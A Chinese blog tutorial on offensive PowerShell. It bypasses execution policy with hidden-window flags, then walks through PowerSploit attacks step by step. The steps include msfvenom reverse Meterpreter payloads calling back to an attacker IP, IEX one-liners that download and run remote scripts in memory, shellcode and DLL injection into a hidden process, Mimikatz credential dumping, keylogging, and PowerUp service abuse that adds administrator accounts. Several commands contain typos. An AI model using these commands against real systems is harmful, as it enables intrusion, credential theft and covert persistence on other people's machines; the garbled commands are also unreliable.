当前位置:   article > 正文

powershell渗透基础_powerup攻击模块实战演练

powerup攻击模块实战演练

一旦攻击者可以在一台计算机上运行代码,就会下载powershell脚本文件(.ps1)到磁盘中 执行,甚至无需写到磁盘中执行,它可以直接在内存中运行,利用诸多特点攻击者可以持续攻击而不被轻易发现。

常用的powershell攻击工具有以下几种:
  • powerSploit:

    常用于信息探测,权限提升,凭证窃取,持久化等操作

  • Nishang:

    基于powershell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本

  • Empire:
    基于powershell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。

  • powercat:
    powershell版的Netcat,有着网络工具中的瑞士军刀美誉,他能通过tcp和udp在网络中读写数据,通过它和其他工具结合和重定向,读者可以在脚本中以多种方式使用它。

powershell优点:
  • windows7中默认安装了
  • powershell脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载powershell脚本并执行
  • 目前很多工具都是基于powershell开发的
  • 很多安全软件并不能检测到powershell的活动
  • cmd.exe通常会被阻止运行,但powershell不会
  • 可以用来管理活动目录
查看版本:Get-Host

在这里插入图片描述

powershell的基本概念

一个powershell脚本其实就是一个简单的文本文件,这个文件包含了一系列powershell命令,每个命令显示为独立的一行,对于被视为powershell脚本的文本文件,他的文件名需要加上.PS1的扩展名

执行策略:

为防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略被设置为受限

在powershell脚本无法执行时,可以使用下面的cmdlet命令来确定当前的执行策略

Get-ExecutionPolicy:
  • Restricted:脚本不能执行(默认设置)
    在这里插入图片描述

  • RemoteSigned

    本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)

  • AllSigned

    仅当脚本由受信任的发布者签名时才能运行

  • Unrestricted

    允许所有的script运行

设置执行策略:(必须为管理员权限)

Set-ExecutionPolicy < policy name >
在这里插入图片描述
在这里插入图片描述

运行脚本

运行一个脚本,必须键入完整的路劲和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1

管道:

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如:

假设停止所有目前运行中的,以"p"字符开头命名的程序

        get-process p* | stop-process
  • 1

powershell的常用命令:

基础:

在powershell下,类似“cmd命令”叫做"cmdlet"

  • 新建目录/文件

    New-Item

在这里插入图片描述

  • 新建文件:
    在这里插入图片描述
  • 删除目录

Remove-Item
在这里插入图片描述

  • 显示文件内容

Get-Content
在这里插入图片描述

  • 设置文件内容

Set-Content
在这里插入图片描述

  • 追加内容

Add-Content
在这里插入图片描述

  • 清除内容

Clear-Content
在这里插入图片描述

常用的命令:

如果要运行powershell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本

  • 绕过本地权限执行

    上传xxx.ps1至目标服务器,在cmd环境下,在目标服务器本地执行该脚本

    		PowerShell.exe -ExecutionPolicy Bypass  -File  xxx.ps1
    
    • 1
  • 本地隐藏绕过权限执行脚本

    		PowerShell.exe -ExecutionPolicy Bypass  -WindowStyle Hidden  -NoLogo   -Nonlnteractive   -NoProfile  -File   xxx.ps1
    
    • 1
  • 用IEX下载远程PS1脚本绕过权限执行

    		PowerShell.exe -ExecutionPolicy Bypass  -WindowStyle Hidden-NoProfile-NonIIEX(New-			ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
    
    • 1
参数说明:
  • -ExecutionPolicy Bypass

    绕过执行安装策略,这个参数非常重要,在默认情况下,Powershell的安全策略规定了Powershell不允许运行命令和文件。通过设置这个参数,可以绕过一些安全保护规则,在渗透测试中,基本每一次运行powershell脚本都要使用这个参数

  • -WindowStyle Hidden

    隐藏窗口

  • -NoLogo

    启动不显示版权标志的Powershell

  • -Nonlnteractive( -Nonl)

    非交互模式,powershell不为用户提供交互的提示

  • -NoProfile(-Nop)

    powershell控制台不加载当前用户的配置文件

  • -Noexit

    执行后不退出shell

实例:

‘“ test"’>t.ps1

在这里插入图片描述

PowerSploit:

PowerSploit是一款基于Powershell的后渗透(post-Exploitation)框架软件,包含很多powershell攻击脚本,它们主要用户渗透中的信息侦察,权限提升,权限维持:

地址: https://github.com/PowerShellMafia/PowerSploit

模块功能介绍:
  • AntivirusBypass

    发现杀毒软件的查杀特征

  • CodeExecution

    在目标主机上执行代码

  • Exfiltration

    在目标主机上的信息收集工具

  • Mayhem

    蓝屏等破坏性脚本

  • Persistence

    后门脚本(持久性控制)

  • Recon

    以目标主机为跳板进行内网信息侦察

  • ScriptModification

    在目标主机上创建或修改脚本

    PowershellSploit脚本攻击实战

攻击机为kali并且安装了powershellsploit

  • Invoke-Shellcode

    CodeExecution模块下的Invoke-Shellcode脚本常用于将shellcode插入指定的进程ID或本地Powershell中

    直接执行shellcoe反弹meterpreter shell
    1. 首先在msf中使用reverse_https模块进行反弹(监听)

    ​ 2.使用msfvenom命令生成一个Powershell脚本木马

    	msfvenom -p windows/meterpreter/reverse_https  LHOST=192.168.31.247  LPORT=4444  -f powershell  -o /var/www/html/test
    
    • 1

    ​ 3.接着在目标主机Powershell下输入以下命令下载该脚本(下载 invoke-shellcode)

    	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")	
    
    • 1

    ​ 4.接着在目标主机上下载生成的木马

    	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/test")	
    
    • 1

    ​ 5.在powershell中运行木马

    	Invoke-Shellcode -Shellcode  ($buf) -Force
    
    • 1

    ​ -Force 意思是不用提示直接运行


    在这里插入图片描述
    反弹回shell
    在这里插入图片描述

    可以在msf中看到反弹shell成功

    指定进程注入shellcode反弹meterpreter shell

    ​ 1.同样在目标机powershell下输入以下命令

    	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")		IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/test")	
    
    • 1

    ​ 2.接着Get-Process命令或者PS命令查看当前进程
    在这里插入图片描述
    3.创建一个新进程,这里启动一个记事本,并把它设置为隐藏的,在输入Get-Process命令查看进程

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
  • 1

在这里插入图片描述

  • 4.接着输入命令,使用Invoke-Shellcode脚本进行注入

    	Invoke-Shellcode  -ProcessID  8120 -Shellcode($buf)  -Force
    
    • 1

    完成成功获取shell

    • Invoke-DLLInjection

      下面使用Code Execution模块下的另一个脚本Invoke-DLLInjection,它是一个DLL注入的脚本

      ​ 1.同理还是先下载脚本

      	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-DLLIinjection.ps1")		
      	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/test")	
      
      • 1
      • 2

      ​ 2.在kali中生成一个DLL注入脚本

      	msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.247  lport=4444  -f dll -o /var/www/html/test.dll
      
      • 1

      ​ 3.把生成的test.dll上传到目标服务器的C盘后,就能启动一个新的进程进行DLL注入,这样可以注入更加隐蔽,使用以下命令新建一个名为notepad.exe的隐藏进程

      	Start-Process c:\windows\system32\notepad.exe	-WindowStyle   Hidden
      
      • 1

      ​ 4.然后进行命令注入

      	Invoke-DLLInjection  -ProcessID 2000 -DLL  c:\test.dll
      
      • 1

      运行即可反弹shell

  • Invoke-Portscan

    Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来比较简单。

    ​ 1.同样先使用以下命令下载脚本

    	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Portscan.ps1")	
    
    • 1

    ​ 2.使用以下命令进行扫描(目标机上)

    	Invoke-Portscan  -Hosts 192.168.31.1.192.168.31.247 -Port "80,22,3389"
    
    • 1
  • Invoke-Mimikatz

    Invoke-Mimikatz是Exfiltration模块下的一个脚本

    ​ 1.同样使用命令下载脚本

    	IEX (New-Object  Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Mimikatz.ps1")
    
    • 1

    ​ 下载即可

    ​ 2.执行命令

    	Invoke-Mimikatz   -DumpCreds
    
    • 1
    Get-Keystrokes:

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘记录,甚至记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行。

同样先使用以下命令下载脚本:

	IEX(New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/Exfiltration/Get-Keystores.ps1")
  • 1

使用以下命令开启键盘记录:

	Get-Keystrokes -LogPath	c:\test1.txt
  • 1
PowerUP攻击模块:

PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机windows服务漏洞进行提权的实用脚本。

加载模块:

		这里是本机所以直接导入
		Import-Module  .\PowerUp.ps1
		
		如要查看各个模块的详细说明,可以输入
		get-help[cmdlet] -full
		比如:
		get-Help Invoke-ALLChecks   -full
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Invoke-ALLChecks:

	该模块会自动执行powerup下所以脚本啦检查目标主机,输出命令即可执行
	Invoke-ALLChecks
  • 1
  • 2
Find-PathDLLHijack:

该模块用于检查当前%PATH%的那些目录是用户可以写入的,输入以下命令即可执行该模块:

	Find-Pathdllhijack
  • 1
Get-RegistryAlwaysInstallElevated:

该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味着MSI文件以system权限运行的

	Get-RegistryAlwaysInstallElevated
  • 1
Get-RegistryAutoLogon:

该模块用于检查winlogin注册表的autoadminlogon项有没有被设置,可以查询默认的用户名和密码,执行该模块的命令:

	Get-RegistryAutoLogon
  • 1
Get-ServiceDetail:

该模块用于返回某服务的信息,输入以下命令即可执行该模块

	Get-ServiceDetail -ServiceName Dhcp                   #获取DHCP服务的详细信息
  • 1
Get-ServiceFilePermission:

该模块用于检查当前用户能够在那些服务的目录写入相关联的可执行文件,我们可以通过这些文件实现提权,输入以下命令即可执行该模块。

	Get-ServiceFilePermission
  • 1
Test-ServiceDaclPermission:

该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象:

	Test-ServiceDaclPerssion
  • 1
Invoke-ServiceAbuse:

该模块通过修改服务来添加用户到指定组,并可以通过设置-cmd参数触发添加用户的自定义命令,执行该模块的命令。

	Invoke-ServiceAbuse -ServiceName VulnSVC    #添加默认账号
	Invoke-ServiceAbuse -ServiceName VulnSVC   -UserName "Test\john"     #指定添加的域账户
	Invoke-ServiceAbuse -ServiceName VulnSVC   -UserName test  -Password  password  -LocalGroup  "Administrators"     #指定添加用户,用户密码以及添加的用户组
	Invoke-ServiceAbuse -ServiceName VulnSVC   -Command "net ......."         #自定义执行命令
  • 1
  • 2
  • 3
  • 4
PowerUp攻击模块实战演练:

先加载PowerUp脚本,然后执行Invoke-ALLChecks,脚本将进行所有的检查

将powerup脚本上传至目标服务器,再从本地执行该脚本

使用IEX再内存中加载此脚本,执行以下命令:

	PowerShell.exe  -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-ALLChecks"
  • 1

也可以再CMD环境下使用命令绕过执行该脚本:

	powershell.exe  -exec bypass -Command  "&{Import-Module  .\PowerUp.ps1;  Invoke-ALLChecks}"
  • 1
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/152801
推荐阅读
相关标签
  

闽ICP备14008679号